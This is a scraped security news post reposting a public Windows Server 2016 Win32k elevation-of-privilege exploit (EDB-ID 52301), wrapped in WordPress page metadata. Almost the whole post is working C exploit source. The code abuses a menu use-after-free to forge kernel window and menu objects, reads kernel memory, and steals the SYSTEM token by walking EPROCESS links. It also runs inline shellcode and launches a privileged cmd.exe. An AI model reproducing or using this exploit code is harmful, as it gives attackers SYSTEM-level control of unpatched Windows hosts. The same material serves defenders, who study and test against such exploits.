<\/p>\n#define IDM_MYMENU 101
\n
#define IDM_EXIT 102
\n
#define IDM_DISABLE 0xf120
\n
#define IDM_ENABLE 104
\n
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
\n
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
\n
#define EPROCESS_TOKEN_OFFSET 0x4b8<\/p>\n
typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT
\n
uIDEnableItem, UINT uEnable);<\/p>\n
typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2,
\n
unsigned __int64 a3, unsigned int a4);
\n
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
\n
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID,
\n
int nConsoleInformationLength);<\/p>\n
NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
\n
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
\n
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
\n
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
\n
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
\n
lParam);
\n
int syytem();
\n
typedef struct _SHELLCODE {
\n
DWORD reserved;
\n
DWORD pid;
\n
DWORD off_THREADINFO_ppi;
\n
DWORD off_EPROCESS_ActiveLink;
\n
DWORD off_EPROCESS_Token;
\n
BOOL bExploited;
\n
BYTE pfnWindProc[];
\n
} SHELLCODE, * PSHELLCODE;
\n
struct tagMENU
\n
{
\n
ULONG64 field_0;
\n
ULONG64 field_8;
\n
ULONG64 field_10;
\n
ULONG64 field_18;
\n
ULONG64 field_20;
\n
PVOID obj28;
\n
DWORD field_30;
\n
DWORD flag1;
\n
DWORD flag2;
\n
DWORD cxMenu;
\n
DWORD cyMenu;
\n
ULONG64 field_48;
\n
PVOID rgItems;
\n
ULONG64 field_58; \/\/ + 0x58
\n
ULONG64 field_60;
\n
ULONG64 field_68;
\n
ULONG64 field_70;
\n
ULONG64 field_78;
\n
ULONG64 field_80;
\n
ULONG64 field_88;
\n
ULONG64 field_90;
\n
PVOID ref; \/\/ + 0x98
\n
};
\n
struct MyData
\n
{
\n
BYTE name[0x96];
\n
};
\n
tagMENU* g_pFakeMenu = 0;
\n
static PSHELLCODE pvShellCode = NULL;
\n
HMENU hSystemMenu;
\n
HMENU hMenu;
\n
HMENU hSubMenu;
\n
HMENU hAddedSubMenu;
\n
HMENU hMenuB;
\n
PVOID MENU_add = 0;
\n
DWORD flag = 0;
\n
UINT iWindowCount = 0x100;
\n
HWND HWND_list[0x300];
\n
HWND HWND_list1[0x20];
\n
HMENU HMENUL_list[0x300];
\n
int Hwnd_num = 0;
\n
int Hwnd_num1 = 0;
\n
ULONGLONG HWND_add = 0;
\n
ULONGLONG GS_off = 0;
\n
WORD max = 0;<\/p>\n
static PULONGLONG ptagWNDFake = NULL;
\n
static PULONGLONG ptagWNDFake1 = NULL;
\n
static PULONGLONG ptagWNDFake2 = NULL;<\/p>\n
static PULONGLONG GS_hanlde = NULL;<\/p>\n
static PULONGLONG HWND_class = NULL;<\/p>\n
struct ThreadParams {
\n
int threadId;
\n
int numLoops;
\n
};<\/p>\n
static unsigned long long GetGsValue(unsigned long long gsValue)
\n
{
\n
return gsValue;
\n
}
\n
PVOID
\n
GetMenuHandle(HMENU menu_D)
\n
{
\n
int conut = 0;
\n
PVOID HANDLE = 0;
\n
PBYTE add = 0;
\n
WORD temp = 0;
\n
DWORD offset = 0xbd688;
\n
HMODULE hModule = LoadLibraryA(“USER32.DLL”);<\/p>\n
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, “IsMenu”);
\n
ULONGLONG par1 = 0;
\n
DWORD par2 = 0;
\n
memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
\n
memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);<\/p>\n
add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);<\/p>\n
if (add)
\n
{
\n
HANDLE = *(PVOID*)add;
\n
}
\n
else
\n
{
\n
HANDLE = 0;
\n
}
\n
HANDLE= (PVOID*)((ULONGLONG)HANDLE – GS_off+0x20);
\n
return *(PVOID*)HANDLE;<\/p>\n
}<\/p>\n
PVOID
\n
xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
\n
{
\n
int conut = 0;
\n
PVOID HANDLE = 0;
\n
PBYTE add = 0;
\n
WORD temp = 0;
\n
DWORD offset = 0xbd688;
\n
HMODULE hModule = LoadLibraryA(“USER32.DLL”);<\/p>\n
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, “IsMenu”);
\n
ULONGLONG par1 = 0;
\n
DWORD par2 = 0;
\n
memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
\n
memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);<\/p>\n
temp = (ULONGLONG)menu_D >> 16;
\n
add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);
\n
if (add)
\n
{
\n
HANDLE = *(PVOID*)add;
\n
}
\n
else
\n
{
\n
HANDLE = 0;
\n
}
\n
HANDLE = (PVOID*)((ULONGLONG)HANDLE – GS_off + 0x20);
\n
return *(PVOID*)HANDLE;<\/p>\n
}<\/p>\n
static
\n
VOID
\n
xxReallocPopupMenu(VOID)
\n
{
\n
for (INT i = 0; i < 0x8; i++)\n
{
\n
WNDCLASSEXW Class = { 0 };
\n
WCHAR szTemp[0x100] = { 0 };
\n
HWND hwnd = NULL;
\n
wsprintfW(szTemp,
\n
L”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d”,
\n
i);
\n
Class.cbSize = sizeof(WNDCLASSEXA);
\n
Class.lpfnWndProc = DefWindowProcW;
\n
Class.cbWndExtra = 0;
\n
Class.hInstance = GetModuleHandleA(NULL);
\n
Class.lpszMenuName = NULL;
\n
Class.lpszClassName = szTemp;
\n
if (!RegisterClassExW(&Class))
\n
{
\n
continue;
\n
}
\n
}<\/p>\n
}
\n
VOID
\n
createclass(VOID)
\n
{
\n
WCHAR szTemp[0x100] = { 0 };
\n
for (INT i = 9; i < 29; i++)\n
{
\n
WNDCLASSEXW Class = { 0 };<\/p>\n
HWND hwnd = NULL;
\n
wsprintfW(szTemp, L”A@A%d”, i);
\n
Class.cbSize = sizeof(WNDCLASSEXA);
\n
Class.lpfnWndProc = DefWindowProcW;
\n
Class.cbWndExtra = 0x20;
\n
Class.hInstance = GetModuleHandleA(NULL);
\n
Class.lpszMenuName = NULL;
\n
Class.lpszClassName = szTemp;
\n
Class.cbClsExtra = 0x1a0;
\n
if (!RegisterClassExW(&Class))
\n
{
\n
continue;
\n
}
\n
}<\/p>\n
for (INT i = 9; i < 29; i++)\n
{
\n
wsprintfW(szTemp, L”A@A%d”, i);
\n
HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0,
\n
0, 0, NULL,NULL, NULL, NULL);<\/p>\n
}<\/p>\n
}<\/p>\n
ULONG64 Read64(ULONG64 address)
\n
{
\n
MENUBARINFO mbi = { 0 };
\n
mbi.cbSize = sizeof(MENUBARINFO);<\/p>\n
g_pFakeMenu->rgItems = PVOID(address – 0x48);
\n
GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi);<\/p>\n
return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);\n
}
\n
void exploit()
\n
{
\n
for (int i = 0; i < 0x20; i++)\n
{<\/p>\n
ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270,
\n
(LONG_PTR)g_pFakeMenu);
\n
if (pmenu != 0)
\n
{
\n
Hwnd_num = i;
\n
MENUBARINFO mbi = { 0 };
\n
mbi.cbSize = sizeof(MENUBARINFO);<\/p>\n
}
\n
}<\/p>\n
\/\/ Token stealing
\n
ULONG64 p = Read64(HWND_add +0x250+ 0x10); \/\/ USER_THREADINFO
\n
p = Read64(p); \/\/THREADINFO
\n
p = Read64(p + 0x220); \/\/ (PROCESSINFO)<\/p>\n
ULONG64 eprocess = p;
\n
printf(“Current EPROCESS = %llx\\n”, eprocess);
\n
p = Read64(p + 0x2f0);<\/p>\n
do {<\/p>\n
p = Read64(p + 0x08);
\n
ULONG64 pid = Read64(p – 0x08);
\n
if (pid == 4) {<\/p>\n
ULONG64 pSystemToken = Read64(p + 0x68);
\n
printf(“pSys\/tem Token = %llx \\n”, pSystemToken);<\/p>\n
HWND_class = (PULONGLONG)((PBYTE)0x303000);
\n
HWND_class[8] = eprocess + 0x290;
\n
HWND_class[12] = 0x100;
\n
HWND_class[20] = 0x303010;<\/p>\n
ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 +
\n
0x98 – 0xa0, (LONG_PTR)HWND_class);
\n
SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
\n
ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 –
\n
0xa0, (LONG_PTR)ret_add);<\/p>\n
break;
\n
}
\n
} while (p != eprocess);
\n
syytem();
\n
}<\/p>\n
void buildmem()
\n
{<\/p>\n
WORD max_handle = 0;
\n
pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000,
\n
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
\n
if (pvShellCode == NULL)
\n
{
\n
return;
\n
}
\n
ZeroMemory(pvShellCode, 0x10000);<\/p>\n
ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
\n
ptagWNDFake[0] = (ULONGLONG)0x304140;<\/p>\n
ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;<\/p>\n
ptagWNDFake[6] = (ULONGLONG)0x304140;
\n
ptagWNDFake[8] = 0x305300;<\/p>\n
ptagWNDFake[11] = (ULONGLONG)MENU_add;
\n
ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
\n
ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
\n
ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
\n
ptagWNDFake[71] = (ULONGLONG)0x000004;<\/p>\n
ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
\n
ptagWNDFake1[1] = (ULONGLONG)0x11;
\n
ptagWNDFake1[2] = (ULONGLONG)0x305320;
\n
ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
\n
ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
\n
ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 – 0x120;<\/p>\n
ptagWNDFake1[14] = (ULONGLONG)0x306500;
\n
ptagWNDFake1[16] = (ULONGLONG)305400;<\/p>\n
ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
\n
ptagWNDFake1[11] = (ULONGLONG)0x306600;<\/p>\n
WNDCLASSEX WndClass = { 0 };
\n
WndClass.cbSize = sizeof(WNDCLASSEX);
\n
WndClass.lpfnWndProc = DefWindowProc;
\n
WndClass.style = CS_VREDRAW | CS_HREDRAW;
\n
WndClass.cbWndExtra = 0xe0;
\n
WndClass.hInstance = NULL;
\n
WndClass.lpszMenuName = NULL;
\n
WndClass.lpszClassName = L”NormalClass”;<\/p>\n
RegisterClassEx(&WndClass);<\/p>\n
for (int i = 0; i < 0x200; i++)\n
{
\n
HMENUL_list[i] = CreateMenu();
\n
}
\n
for (int i = 0; i < 0x100; i++)\n
{
\n
HWND_list[i] = CreateWindowEx(NULL, L”NormalClass”, NULL,
\n
WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);<\/p>\n
}
\n
for (int i = 0; i < 0x100; i++)\n
{<\/p>\n
SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);<\/p>\n
SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);<\/p>\n
}<\/p>\n
for (int i = 0x20; i < 0x60; i++)\n
{
\n
if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2],
\n
0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 – 1],
\n
0x01)== 0x250)
\n
{
\n
if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 +
\n
1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)
\n
== 0x250)
\n
{
\n
HWND_add =
\n
(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01);
\n
max = i * 2;
\n
break;
\n
}
\n
}
\n
if (i == 0x5f)
\n
{
\n
HWND_add = 0;
\n
}<\/p>\n
}<\/p>\n
ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 – 0x120;<\/p>\n
DestroyWindow(HWND_list[max]);<\/p>\n
createclass();<\/p>\n
\/\/ Create a fake spmenu
\n
PVOID hHeap = (PVOID)0x302000;<\/p>\n
g_pFakeMenu = (tagMENU*)(PVOID)0x302000;
\n
g_pFakeMenu->ref = (PVOID)0x302300;
\n
*(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
\n
\/\/ cItems = 1
\n
g_pFakeMenu->obj28 = (PVOID)0x302200;
\n
*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
\n
\/\/ rgItems
\n
g_pFakeMenu->rgItems = (PVOID)0x304000;
\n
\/\/ cx \/ cy must > 0
\n
g_pFakeMenu->flag1 = 1;
\n
g_pFakeMenu->flag2 = 1;
\n
g_pFakeMenu->cxMenu = 1;
\n
g_pFakeMenu->cyMenu = 1;<\/p>\n
\/\/<\/p>\n
}
\n
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
\n
lpCmdLine, int nCmdShow)
\n
{
\n
ULONGLONG gsValue = 0;
\n
unsigned char shellcode[] =
\n
“\\x65\\x48\\x8B\\x04\\x25\\x30\\x00\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xc3”;<\/p>\n
LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode),
\n
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
\n
if (executableMemory == NULL) {
\n
return 1;
\n
}
\n
memcpy(executableMemory, shellcode, sizeof(shellcode));<\/p>\n
gsValue = ((ULONGLONG(*)())executableMemory)();
\n
gsValue = gsValue + 0x800;
\n
GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
\n
GS_off = GS_hanlde[5];<\/p>\n
char str[0xb8] = “”;
\n
memset(str, 0x41, 0xa8);
\n
g_NtUserEnableMenuItem =
\n
(NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA(“win32u.dll”),
\n
“NtUserEnableMenuItem”);
\n
g_NtUserSetClassLongPtr =
\n
(NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA(“win32u.dll”),
\n
“NtUserSetClassLongPtr”);
\n
g_NtUserCreateAcceleratorTable =
\n
(NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA(“win32u.dll”),
\n
“NtUserCreateAcceleratorTable”);
\n
g_pfnNtUserConsoleControl =
\n
(fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA(“win32u.dll”),
\n
“NtUserConsoleControl”);<\/p>\n
WNDCLASS wc = { 0 };<\/p>\n
wc.lpfnWndProc = WndProc;
\n
wc.hInstance = hInstance;
\n
wc.lpszClassName = TEXT(“EnableMenuItem”);<\/p>\n
RegisterClass(&wc);<\/p>\n
HWND hWnd = CreateWindow(
\n
wc.lpszClassName,
\n
TEXT(“EnableMenuItem”),
\n
WS_OVERLAPPEDWINDOW,
\n
CW_USEDEFAULT,
\n
CW_USEDEFAULT,
\n
400, 300,
\n
NULL,
\n
NULL,
\n
hInstance,
\n
NULL
\n
);<\/p>\n
if (!hWnd) return FALSE;<\/p>\n
\/\/\/<\/p>\n
hSystemMenu = GetSystemMenu(hWnd, FALSE);<\/p>\n
hSubMenu = CreatePopupMenu();
\n
MENU_add = GetMenuHandle(hSubMenu);
\n
hMenuB = CreateMenu();<\/p>\n
buildmem();
\n
if (HWND_add == 0)
\n
{
\n
return 0;
\n
}<\/p>\n
AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT(“0”));
\n
AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT(“1”));<\/p>\n
DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);<\/p>\n
AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L”Menu A”);<\/p>\n
AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L”Menu B”);<\/p>\n
ShowWindow(hWnd, nCmdShow);
\n
UpdateWindow(hWnd);<\/p>\n
flag = 1;
\n
g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);<\/p>\n
exploit();<\/p>\n
MSG msg = { 0 };<\/p>\n
while (GetMessage(&msg, NULL, 0, 0))
\n
{
\n
TranslateMessage(&msg);
\n
DispatchMessage(&msg);
\n
}<\/p>\n
return (int)msg.wParam;
\n
}<\/p>\n
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
\n
lParam)
\n
{
\n
switch (message)
\n
{
\n
case WM_DESTROY:
\n
PostQuitMessage(0);
\n
return 0;
\n
case 0xae:
\n
switch (wParam)
\n
{
\n
case 0x1000:
\n
if (flag)
\n
{
\n
int itemCount = GetMenuItemCount(hMenuB);<\/p>\n
for (int i = itemCount – 1; i >= 0; i–) {
\n
RemoveMenu(hMenuB, i, MF_BYPOSITION);
\n
}
\n
DestroyMenu(hSubMenu);
\n
xxReallocPopupMenu();
\n
}
\n
case 0x1001:
\n
if (flag)
\n
{
\n
int itemCount = GetMenuItemCount(hMenuB);<\/p>\n
for (int i = itemCount – 1; i >= 0; i–) {
\n
RemoveMenu(hMenuB, i, MF_BYPOSITION);
\n
}
\n
DestroyMenu(hSubMenu);
\n
xxReallocPopupMenu();
\n
}<\/p>\n
return 0;
\n
}
\n
break;<\/p>\n
}<\/p>\n
return DefWindowProc(hWnd, message, wParam, lParam);
\n
}
\n
int syytem()
\n
{
\n
SECURITY_ATTRIBUTES sa;
\n
HANDLE hRead, hWrite;
\n
byte buf[40960] = { 0 };
\n
STARTUPINFOW si;
\n
PROCESS_INFORMATION pi;
\n
DWORD bytesRead;
\n
RtlSecureZeroMemory(&si, sizeof(si));
\n
RtlSecureZeroMemory(&pi, sizeof(pi));
\n
RtlSecureZeroMemory(&sa, sizeof(sa));
\n
int br = 0;
\n
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
\n
sa.lpSecurityDescriptor = NULL;
\n
sa.bInheritHandle = TRUE;
\n
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
\n
{
\n
return -3;
\n
}<\/p>\n
si.cb = sizeof(STARTUPINFO);
\n
GetStartupInfoW(&si);
\n
si.hStdError = hWrite;
\n
si.hStdOutput = hWrite;
\n
si.wShowWindow = SW_HIDE;
\n
si.lpDesktop = L”WinSta0\\\\Default”;
\n
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
\n
wchar_t cmd[4096] = { L”cmd.exe” };<\/p>\n
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si,
\n
&pi))
\n
{
\n
CloseHandle(hWrite);
\n
CloseHandle(hRead);
\n
printf(“[!] CreateProcessW Failed![%lx]\\n”, GetLastError());
\n
return -2;
\n
}
\n
CloseHandle(hWrite);<\/p>\n
}\n<\/p><\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Microsoft Windows Server 2016 – Win32k Elevation of Privilege Exploit ID EDB-ID:52301 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-5958","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
Microsoft Windows Server 2016 - Win32k Elevation of Privilege - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5958\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Microsoft Windows Server 2016 - Win32k Elevation of Privilege - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Microsoft Windows Server 2016 – Win32k Elevation of Privilege Exploit ID EDB-ID:52301 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5958\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-25T09:34:40+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Microsoft Windows Server 2016 – Win32k Elevation of Privilege\",\"datePublished\":\"2025-05-25T09:34:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958\"},\"wordCount\":1173,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5958#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958\",\"name\":\"Microsoft Windows Server 2016 - Win32k Elevation of Privilege - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-25T09:34:40+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5958\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5958#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Microsoft Windows Server 2016 – Win32k Elevation of Privilege\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Microsoft Windows Server 2016 - Win32k Elevation of Privilege - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5958","og_locale":"en_US","og_type":"article","og_title":"Microsoft Windows Server 2016 - Win32k Elevation of Privilege - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Microsoft Windows Server 2016 – Win32k Elevation of Privilege Exploit ID EDB-ID:52301 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=5958","og_site_name":"zero redgem","article_published_time":"2025-05-25T09:34:40+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5958#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5958"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Microsoft Windows Server 2016 – Win32k Elevation of Privilege","datePublished":"2025-05-25T09:34:40+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5958"},"wordCount":1173,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5958#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5958","url":"https:\/\/zero.redgem.net\/?p=5958","name":"Microsoft Windows Server 2016 - Win32k Elevation of Privilege - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-25T09:34:40+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5958#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5958"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5958#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Microsoft Windows Server 2016 – Win32k Elevation of Privilege"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero 